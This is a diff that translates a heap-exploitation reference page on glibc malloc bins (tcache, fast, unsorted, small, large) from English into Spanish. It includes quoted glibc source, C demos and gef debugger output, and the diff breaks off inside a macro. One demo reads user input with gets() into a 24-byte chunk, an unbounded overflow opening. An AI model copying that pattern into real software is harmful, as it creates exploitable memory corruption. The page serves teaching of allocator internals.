[62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. +Para mejorar la eficiencia en cómo se almacenan los chunks, cada chunk no está solo en una lista enlazada, sino que hay varios tipos. Estos son los bins y hay 5 tipos de bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) bins pequeños, 63 bins grandes, 1 bin no ordenado, 10 bins rápidos y 64 bins tcache por hilo. -The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins. +La dirección inicial de cada bin no ordenado, pequeño y grande está dentro del mismo array. El índice 0 no se utiliza, 1 es el bin no ordenado, los bins 2-64 son bins pequeños y los bins 65-127 son bins grandes. -### Tcache (Per-Thread Cache) Bins +### Bins Tcache (Cache por Hilo) -Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**. +A pesar de que los hilos intentan tener su propio heap (ver [Arenas](bins-and-memory-allocations.md#arenas) y [Subheaps](bins-and-memory-allocations.md#subheaps)), existe la posibilidad de que un proceso con muchos hilos (como un servidor web) **termine compartiendo el heap con otros hilos**. En este caso, la solución principal es el uso de **lockers**, que pueden **retrasar significativamente los hilos**. -Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). +Por lo tanto, un tcache es similar a un bin rápido por hilo en el sentido de que es una **lista enlazada simple** que no fusiona chunks. Cada hilo tiene **64 bins tcache enlazados de forma simple**. Cada bin puede tener un máximo de [7 chunks del mismo tamaño](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) que van desde [24 a 1032B en sistemas de 64 bits y 12 a 516B en sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). -**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. +**Cuando un hilo libera** un chunk, **si no es demasiado grande** para ser asignado en el tcache y el bin tcache respectivo **no está lleno** (ya tiene 7 chunks), **se asignará allí**. Si no puede ir al tcache, tendrá que esperar a que se desbloquee el heap para poder realizar la operación de liberación globalmente. -When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ -There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache. +Cuando un **chunk es asignado**, si hay un chunk libre del tamaño necesario en el **Tcache, lo usará**, si no, tendrá que esperar a que se desbloquee el heap para poder encontrar uno en los bins globales o crear uno nuevo.\ +También hay una optimización, en este caso, mientras tiene el lock del heap, el hilo **llenará su Tcache con chunks del heap (7) del tamaño solicitado**, así que en caso de que necesite más, los encontrará en Tcache.
-Add a tcache chunk example - +Agregar un ejemplo de chunk tcache ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - free(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +free(chunk); +return 0; } ``` - -Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use: - +Compílalo y depúralo con un punto de interrupción en el opcode ret de la función main. Luego, con gef, puedes ver el tcache bin en uso: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ``` -
-#### Tcache Structs & Functions +#### Estructuras y Funciones de Tcache -In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin. +En el siguiente código es posible ver los **max bins** y **chunks por índice**, la estructura **`tcache_entry`** creada para evitar dobles liberaciones y **`tcache_perthread_struct`**, una estructura que cada hilo utiliza para almacenar las direcciones de cada índice del bin.
-tcache_entry and tcache_perthread_struct - +tcache_entry y tcache_perthread_struct ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c @@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind # define usize2tidx(x) csize2tidx (request2size (x)) /* With rounding and alignment, the bins are... - idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) - idx 1 bytes 25..40 or 13..20 - idx 2 bytes 41..56 or 21..28 - etc. */ +idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) +idx 1 bytes 25..40 or 13..20 +idx 2 bytes 41..56 or 21..28 +etc. */ /* This is another arbitrary limit, which tunables can change. Each - tcache bin will hold at most this number of chunks. */ +tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 /* Maximum chunks in tcache bins for tunables. This value must fit the range - of tcache->counts[] entries, else they may overflow. */ +of tcache->counts[] entries, else they may overflow. */ # define MAX_TCACHE_COUNT UINT16_MAX [...] typedef struct tcache_entry { - struct tcache_entry *next; - /* This field exists to detect double frees. */ - uintptr_t key; +struct tcache_entry *next; +/* This field exists to detect double frees. */ +uintptr_t key; } tcache_entry; /* There is one of these for each thread, which contains the - per-thread cache (hence "tcache_perthread_struct"). Keeping - overall size low is mildly important. Note that COUNTS and ENTRIES - are redundant (we could have just counted the linked list each - time), this is for performance reasons. */ +per-thread cache (hence "tcache_perthread_struct"). Keeping +overall size low is mildly important. Note that COUNTS and ENTRIES +are redundant (we could have just counted the linked list each +time), this is for performance reasons. */ typedef struct tcache_perthread_struct { - uint16_t counts[TCACHE_MAX_BINS]; - tcache_entry *entries[TCACHE_MAX_BINS]; +uint16_t counts[TCACHE_MAX_BINS]; +tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; ``` -
-The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj +La función `__tcache_init` es la función que crea y asigna el espacio para el objeto `tcache_perthread_struct`.
-tcache_init code - +código de tcache_init ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 static void tcache_init(void) { - mstate ar_ptr; - void *victim = 0; - const size_t bytes = sizeof (tcache_perthread_struct); +mstate ar_ptr; +void *victim = 0; +const size_t bytes = sizeof (tcache_perthread_struct); - if (tcache_shutting_down) - return; +if (tcache_shutting_down) +return; - arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - if (!victim && ar_ptr != NULL) - { - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +arena_get (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +if (!victim && ar_ptr != NULL) +{ +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - /* In a low memory situation, we may not be able to allocate memory - - in which case, we just keep trying later. However, we - typically do this very early, so either there is sufficient - memory, or there isn't enough memory to do non-trivial - allocations anyway. */ - if (victim) - { - tcache = (tcache_perthread_struct *) victim; - memset (tcache, 0, sizeof (tcache_perthread_struct)); - } +/* In a low memory situation, we may not be able to allocate memory +- in which case, we just keep trying later. However, we +typically do this very early, so either there is sufficient +memory, or there isn't enough memory to do non-trivial +allocations anyway. */ +if (victim) +{ +tcache = (tcache_perthread_struct *) victim; +memset (tcache, 0, sizeof (tcache_perthread_struct)); +} } ``` -
-#### Tcache Indexes +#### Índices de Tcache -The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks. +El tcache tiene varios bins dependiendo del tamaño y los punteros iniciales al **primer chunk de cada índice y la cantidad de chunks por índice se encuentran dentro de un chunk**. Esto significa que al localizar el chunk con esta información (generalmente el primero), es posible encontrar todos los puntos iniciales de tcache y la cantidad de chunks de Tcache. -### Fast bins +### Bins rápidos -Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO). +Los bins rápidos están diseñados para **acelerar la asignación de memoria para chunks pequeños** al mantener chunks recientemente liberados en una estructura de acceso rápido. Estos bins utilizan un enfoque de Último en Entrar, Primero en Salir (LIFO), lo que significa que el **chunk liberado más recientemente es el primero** en ser reutilizado cuando hay una nueva solicitud de asignación. Este comportamiento es ventajoso para la velocidad, ya que es más rápido insertar y eliminar desde la parte superior de una pila (LIFO) en comparación con una cola (FIFO). -Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations. +Además, **los bins rápidos utilizan listas enlazadas simples**, no dobles, lo que mejora aún más la velocidad. Dado que los chunks en bins rápidos no se fusionan con los vecinos, no hay necesidad de una estructura compleja que permita la eliminación desde el medio. Una lista enlazada simple es más simple y rápida para estas operaciones. -Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: +Básicamente, lo que sucede aquí es que el encabezado (el puntero al primer chunk a verificar) siempre apunta al chunk liberado más reciente de ese tamaño. Así que: -- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk -- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header +- Cuando se asigna un nuevo chunk de ese tamaño, el encabezado apunta a un chunk libre para usar. Como este chunk libre apunta al siguiente para usar, esta dirección se almacena en el encabezado para que la siguiente asignación sepa dónde obtener un chunk disponible. +- Cuando se libera un chunk, el chunk libre guardará la dirección del chunk actualmente disponible y la dirección de este chunk recién liberado se pondrá en el encabezado. -The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`... +El tamaño máximo de una lista enlazada es `0x80` y están organizadas de tal manera que un chunk de tamaño `0x20` estará en el índice `0`, un chunk de tamaño `0x30` estaría en el índice `1`... > [!CAUTION] -> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. - +> Los chunks en bins rápidos no se establecen como disponibles, por lo que se mantienen como chunks de bin rápido durante algún tiempo en lugar de poder fusionarse con otros chunks libres que los rodean. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Fastbins +Fastbins - An array of lists holding recently freed small chunks. Fastbins - are not doubly linked. It is faster to single-link them, and - since chunks are never removed from the middles of these lists, - double linking is not necessary. Also, unlike regular bins, they - are not even processed in FIFO order (they use faster LIFO) since - ordering doesn't much matter in the transient contexts in which - fastbins are normally used. +An array of lists holding recently freed small chunks. Fastbins +are not doubly linked. It is faster to single-link them, and +since chunks are never removed from the middles of these lists, +double linking is not necessary. Also, unlike regular bins, they +are not even processed in FIFO order (they use faster LIFO) since +ordering doesn't much matter in the transient contexts in which +fastbins are normally used. - Chunks in fastbins keep their inuse bit set, so they cannot - be consolidated with other free chunks. malloc_consolidate - releases all chunks in fastbins and consolidates them with - other free chunks. - */ +Chunks in fastbins keep their inuse bit set, so they cannot +be consolidated with other free chunks. malloc_consolidate +releases all chunks in fastbins and consolidates them with +other free chunks. +*/ typedef struct malloc_chunk *mfastbinptr; #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) /* offset 2 to use otherwise unindexable first 2 bins */ #define fastbin_index(sz) \ - ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) +((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) /* The maximum fastbin request size we support */ @@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr; #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) ``` -
-Add a fastbin chunk example - +Agregar un ejemplo de chunk fastbin ```c #include #include int main(void) { - char *chunks[8]; - int i; +char *chunks[8]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 8; i++) { - chunks[i] = malloc(24); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 8; i++) { +chunks[i] = malloc(24); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +Nota cómo asignamos y liberamos 8 bloques del mismo tamaño para que llenen el tcache y el octavo se almacena en el fast chunk. -Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin: - +Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el tcache bin está lleno y un bloque está en el fast bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=1, size=0x30] 0x00 ``` -
### Unsorted bin -The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin." +El unsorted bin es una **cache** utilizada por el gestor de heap para hacer que la asignación de memoria sea más rápida. Así es como funciona: Cuando un programa libera un chunk, y si este chunk no puede ser asignado en un tcache o fast bin y no está colisionando con el top chunk, el gestor de heap no lo coloca inmediatamente en un bin pequeño o grande específico. En su lugar, primero intenta **fusionarlo con cualquier chunk libre vecino** para crear un bloque más grande de memoria libre. Luego, coloca este nuevo chunk en un bin general llamado "unsorted bin." -When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. +Cuando un programa **pide memoria**, el gestor de heap **verifica el unsorted bin** para ver si hay un chunk de tamaño suficiente. Si encuentra uno, lo utiliza de inmediato. Si no encuentra un chunk adecuado en el unsorted bin, mueve todos los chunks en esta lista a sus bins correspondientes, ya sea pequeños o grandes, según su tamaño. -Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin. +Ten en cuenta que si un chunk más grande se divide en 2 mitades y el resto es mayor que MINSIZE, se volverá a colocar en el unsorted bin. -So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. +Así que, el unsorted bin es una forma de acelerar la asignación de memoria al reutilizar rápidamente la memoria recientemente liberada y reducir la necesidad de búsquedas y fusiones que consumen tiempo. > [!CAUTION] -> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged. +> Ten en cuenta que incluso si los chunks son de diferentes categorías, si un chunk disponible está colisionando con otro chunk disponible (incluso si originalmente pertenecen a diferentes bins), serán fusionados.
-Add a unsorted chunk example - +Agregar un ejemplo de chunk no ordenado ```c #include #include int main(void) { - char *chunks[9]; - int i; +char *chunks[9]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +Nota cómo asignamos y liberamos 9 trozos del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el trozo superior**. -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin: - +Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un trozo está en el contenedor no ordenado: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00 Fastbins[idx=6, size=0x80] 0x00 ─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── [+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in unsorted bin. ``` -
### Small Bins -Small bins are faster than large bins but slower than fast bins. +Los small bins son más rápidos que los large bins pero más lentos que los fast bins. -Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists. +Cada bin de los 62 tendrá **chunks del mismo tamaño**: 16, 24, ... (con un tamaño máximo de 504 bytes en 32 bits y 1024 en 64 bits). Esto ayuda en la velocidad para encontrar el bin donde se debe asignar un espacio e insertar y eliminar entradas en estas listas. -This is how the size of the small bin is calculated according to the index of the bin: - -- Smallest size: 2\*4\*index (e.g. index 5 -> 40) -- Biggest size: 2\*8\*index (e.g. index 5 -> 80) +Así es como se calcula el tamaño del small bin según el índice del bin: +- Tamaño más pequeño: 2\*4\*índice (por ejemplo, índice 5 -> 40) +- Tamaño más grande: 2\*8\*índice (por ejemplo, índice 5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define in_smallbin_range(sz) \ - ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) +((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) #define smallbin_index(sz) \ - ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ - + SMALLBIN_CORRECTION) +((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ++ SMALLBIN_CORRECTION) ``` - -Function to choose between small and large bins: - +Función para elegir entre bins pequeños y grandes: ```c #define bin_index(sz) \ - ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) +((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) ``` -
-Add a small chunk example - +Agrega un pequeño ejemplo ```c #include #include int main(void) { - char *chunks[10]; - int i; +char *chunks[10]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - chunks[9] = malloc(0x110); +chunks[9] = malloc(0x110); - return 0; +return 0; } ``` +Nota cómo asignamos y liberamos 9 trozos del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el trozo superior**. Luego, asignamos un trozo más grande de 0x110, lo que hace que **el trozo en el contenedor no ordenado pase al contenedor pequeño**. -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin: - +Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un trozo está en el contenedor pequeño: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in unsorted bin. ──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 small non-empty bins. ``` -
-### Large bins +### Bins grandes -Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size. +A diferencia de los bins pequeños, que gestionan trozos de tamaños fijos, cada **bin grande maneja un rango de tamaños de trozos**. Esto es más flexible, permitiendo que el sistema acomode **varios tamaños** sin necesidad de un bin separado para cada tamaño. -In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB. +En un asignador de memoria, los bins grandes comienzan donde terminan los bins pequeños. Los rangos para los bins grandes crecen progresivamente, lo que significa que el primer bin podría cubrir trozos de 512 a 576 bytes, mientras que el siguiente cubre de 576 a 640 bytes. Este patrón continúa, con el bin más grande conteniendo todos los trozos por encima de 1MB. -Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off. +Los bins grandes son más lentos de operar en comparación con los bins pequeños porque deben **ordenar y buscar a través de una lista de tamaños de trozos variables para encontrar el mejor ajuste** para una asignación. Cuando un trozo se inserta en un bin grande, debe ser ordenado, y cuando se asigna memoria, el sistema debe encontrar el trozo correcto. Este trabajo extra los hace **más lentos**, pero dado que las asignaciones grandes son menos comunes que las pequeñas, es un compromiso aceptable. -There are: +Hay: -- 32 bins of 64B range (collide with small bins) -- 16 bins of 512B range (collide with small bins) -- 8bins of 4096B range (part collide with small bins) -- 4bins of 32768B range -- 2bins of 262144B range -- 1bin for remaining sizes +- 32 bins de rango 64B (colisionan con bins pequeños) +- 16 bins de rango 512B (colisionan con bins pequeños) +- 8 bins de rango 4096B (parte colisionan con bins pequeños) +- 4 bins de rango 32768B +- 2 bins de rango 262144B +- 1 bin para tamaños restantes
-Large bin sizes code - +Código de tamaños de bin grande ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define largebin_index_32(sz) \ - (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index_32_big(sz) \ - (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \ - (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) 